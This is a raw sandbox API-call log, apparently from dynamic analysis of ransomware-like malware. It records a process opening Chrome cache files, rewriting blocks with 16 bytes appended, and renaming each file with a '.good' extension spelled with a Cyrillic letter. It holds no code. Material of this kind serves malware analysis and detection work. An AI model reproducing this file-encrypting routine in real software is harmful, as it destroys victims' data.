0x1 [0184.629] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6e9fd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6e9fd8*=0) returned 0x1000 [0184.630] ReadFile (in: hFile=0x630, lpBuffer=0x3693ab8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9fa8, lpOverlapped=0x0 | out: lpBuffer=0x3693ab8*, lpNumberOfBytesRead=0x1f6e9fa8*=0x1000, lpOverlapped=0x0) returned 1 [0185.578] CloseHandle (hObject=0x630) returned 1 [0185.587] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1", lpFilePart=0x0) returned 0x4a [0185.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0185.587] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0185.587] GetFileType (hFile=0x630) returned 0x1 [0185.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0185.587] GetFileType (hFile=0x630) returned 0x1 [0185.588] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6e9fd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6e9fd8*=0) returned 0x42000 [0185.588] WriteFile (in: hFile=0x630, lpBuffer=0x3634f18*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6e9ec8, lpOverlapped=0x0 | out: lpBuffer=0x3634f18*, lpNumberOfBytesWritten=0x1f6e9ec8*=0x10, lpOverlapped=0x0) returned 1 [0185.591] CloseHandle (hObject=0x630) returned 1 [0185.592] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1", lpFilePart=0x0) returned 0x4a [0185.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0185.592] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0185.592] GetFileType (hFile=0x630) returned 0x1 [0185.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0185.592] GetFileType (hFile=0x630) returned 0x1 [0185.592] ReadFile (in: hFile=0x630, lpBuffer=0x36371d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9f58, lpOverlapped=0x0 | out: lpBuffer=0x36371d0*, lpNumberOfBytesRead=0x1f6e9f58*=0x1000, lpOverlapped=0x0) returned 1 [0185.619] CloseHandle (hObject=0x630) returned 1 [0185.619] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1", lpFilePart=0x0) returned 0x4a [0185.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0185.619] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0185.620] GetFileType (hFile=0x630) returned 0x1 [0185.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0185.620] GetFileType (hFile=0x630) returned 0x1 [0185.620] WriteFile (in: hFile=0x630, lpBuffer=0x3635f30*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ea008, lpOverlapped=0x0 | out: lpBuffer=0x3635f30*, lpNumberOfBytesWritten=0x1f6ea008*=0x1010, lpOverlapped=0x0) returned 1 [0185.620] CloseHandle (hObject=0x630) returned 1 [0185.620] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1", lpFilePart=0x0) returned 0x4a [0185.620] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1.gоod", lpFilePart=0x0) returned 0x4f [0185.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0185.620] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x517321bc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x517321bc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x6ad978aa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x42010)) returned 1 [0185.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0185.620] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1.gоod")) returned 1 [0185.779] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2", lpFilePart=0x0) returned 0x4a [0185.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0185.779] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2"), fInfoLevelId=0x0, lpFileInformation=0x36789b0 | out: lpFileInformation=0x36789b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x517321bc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x517321bc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x517321bc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0185.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0185.780] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2", lpFilePart=0x0) returned 0x4a [0185.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0185.780] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0185.780] GetFileType (hFile=0x828) returned 0x1 [0185.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0185.781] GetFileType (hFile=0x828) returned 0x1 [0185.781] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6e9fd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6e9fd8*=0) returned 0x1000 [0185.781] ReadFile (in: hFile=0x828, lpBuffer=0x367a0b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9fa8, lpOverlapped=0x0 | out: lpBuffer=0x367a0b8*, lpNumberOfBytesRead=0x1f6e9fa8*=0x1000, lpOverlapped=0x0) returned 1 [0185.782] CloseHandle (hObject=0x828) returned 1 [0185.782] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2", lpFilePart=0x0) returned 0x4a [0185.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0185.782] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0185.782] GetFileType (hFile=0x828) returned 0x1 [0185.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0185.782] GetFileType (hFile=0x828) returned 0x1 [0185.782] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6e9fd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6e9fd8*=0) returned 0x2000 [0185.782] WriteFile (in: hFile=0x828, lpBuffer=0x367b348*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6e9ec8, lpOverlapped=0x0 | out: lpBuffer=0x367b348*, lpNumberOfBytesWritten=0x1f6e9ec8*=0x10, lpOverlapped=0x0) returned 1 [0185.783] CloseHandle (hObject=0x828) returned 1 [0185.783] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2", lpFilePart=0x0) returned 0x4a [0185.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0185.783] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0185.783] GetFileType (hFile=0x828) returned 0x1 [0185.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0185.783] GetFileType (hFile=0x828) returned 0x1 [0185.783] ReadFile (in: hFile=0x828, lpBuffer=0x367d600, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9f58, lpOverlapped=0x0 | out: lpBuffer=0x367d600*, lpNumberOfBytesRead=0x1f6e9f58*=0x1000, lpOverlapped=0x0) returned 1 [0185.809] CloseHandle (hObject=0x828) returned 1 [0185.809] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2", lpFilePart=0x0) returned 0x4a [0185.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0185.809] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0185.809] GetFileType (hFile=0x828) returned 0x1 [0185.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0185.810] GetFileType (hFile=0x828) returned 0x1 [0185.810] WriteFile (in: hFile=0x828, lpBuffer=0x367c360*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ea008, lpOverlapped=0x0 | out: lpBuffer=0x367c360*, lpNumberOfBytesWritten=0x1f6ea008*=0x1010, lpOverlapped=0x0) returned 1 [0185.810] CloseHandle (hObject=0x828) returned 1 [0185.810] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2", lpFilePart=0x0) returned 0x4a [0185.810] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2.gоod", lpFilePart=0x0) returned 0x4f [0185.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0185.810] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x517321bc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x517321bc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x6af6167e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2010)) returned 1 [0185.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0185.810] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2.gоod")) returned 1 [0185.811] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3", lpFilePart=0x0) returned 0x4a [0185.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0185.811] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3"), fInfoLevelId=0x0, lpFileInformation=0x36fbb00 | out: lpFileInformation=0x36fbb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x517321bc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x517321bc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfa76c10c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x402000)) returned 1 [0185.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0185.811] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3", lpFilePart=0x0) returned 0x4a [0185.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0185.811] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0185.811] GetFileType (hFile=0x828) returned 0x1 [0185.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0185.811] GetFileType (hFile=0x828) returned 0x1 [0185.811] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6e9fd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6e9fd8*=0) returned 0x1000 [0185.811] ReadFile (in: hFile=0x828, lpBuffer=0x36fbf08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9fa8, lpOverlapped=0x0 | out: lpBuffer=0x36fbf08*, lpNumberOfBytesRead=0x1f6e9fa8*=0x1000, lpOverlapped=0x0) returned 1 [0186.315] CloseHandle (hObject=0x828) returned 1 [0186.315] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3", lpFilePart=0x0) returned 0x4a [0186.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0186.315] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0186.315] GetFileType (hFile=0x828) returned 0x1 [0186.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0186.315] GetFileType (hFile=0x828) returned 0x1 [0186.315] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6e9fd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6e9fd8*=0) returned 0x402000 [0186.315] WriteFile (in: hFile=0x828, lpBuffer=0x37a9ff0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6e9ec8, lpOverlapped=0x0 | out: lpBuffer=0x37a9ff0*, lpNumberOfBytesWritten=0x1f6e9ec8*=0x10, lpOverlapped=0x0) returned 1 [0197.350] CloseHandle (hObject=0x828) returned 1 [0197.350] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3", lpFilePart=0x0) returned 0x4a [0197.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0197.422] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0197.423] GetFileType (hFile=0x824) returned 0x1 [0197.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0197.433] GetFileType (hFile=0x824) returned 0x1 [0197.434] ReadFile (in: hFile=0x824, lpBuffer=0x36cea00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9f58, lpOverlapped=0x0 | out: lpBuffer=0x36cea00*, lpNumberOfBytesRead=0x1f6e9f58*=0x1000, lpOverlapped=0x0) returned 1 [0197.460] CloseHandle (hObject=0x824) returned 1 [0197.460] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3", lpFilePart=0x0) returned 0x4a [0197.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0197.460] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0197.460] GetFileType (hFile=0x824) returned 0x1 [0197.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0197.461] GetFileType (hFile=0x824) returned 0x1 [0197.461] WriteFile (in: hFile=0x824, lpBuffer=0x3627338*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ea008, lpOverlapped=0x0 | out: lpBuffer=0x3627338*, lpNumberOfBytesWritten=0x1f6ea008*=0x1010, lpOverlapped=0x0) returned 1 [0197.461] CloseHandle (hObject=0x824) returned 1 [0197.461] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3", lpFilePart=0x0) returned 0x4a [0197.461] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3.gоod", lpFilePart=0x0) returned 0x4f [0197.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0197.461] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x517321bc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x517321bc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x71e811b3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x402010)) returned 1 [0197.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0197.461] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3.gоod")) returned 1 [0197.462] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index", lpFilePart=0x0) returned 0x49 [0197.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0197.462] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index"), fInfoLevelId=0x0, lpFileInformation=0x374b1b0 | out: lpFileInformation=0x374b1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5172d381, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5172d381, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5172faf1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x80170)) returned 1 [0197.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0197.462] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index", lpFilePart=0x0) returned 0x49 [0197.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0197.462] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 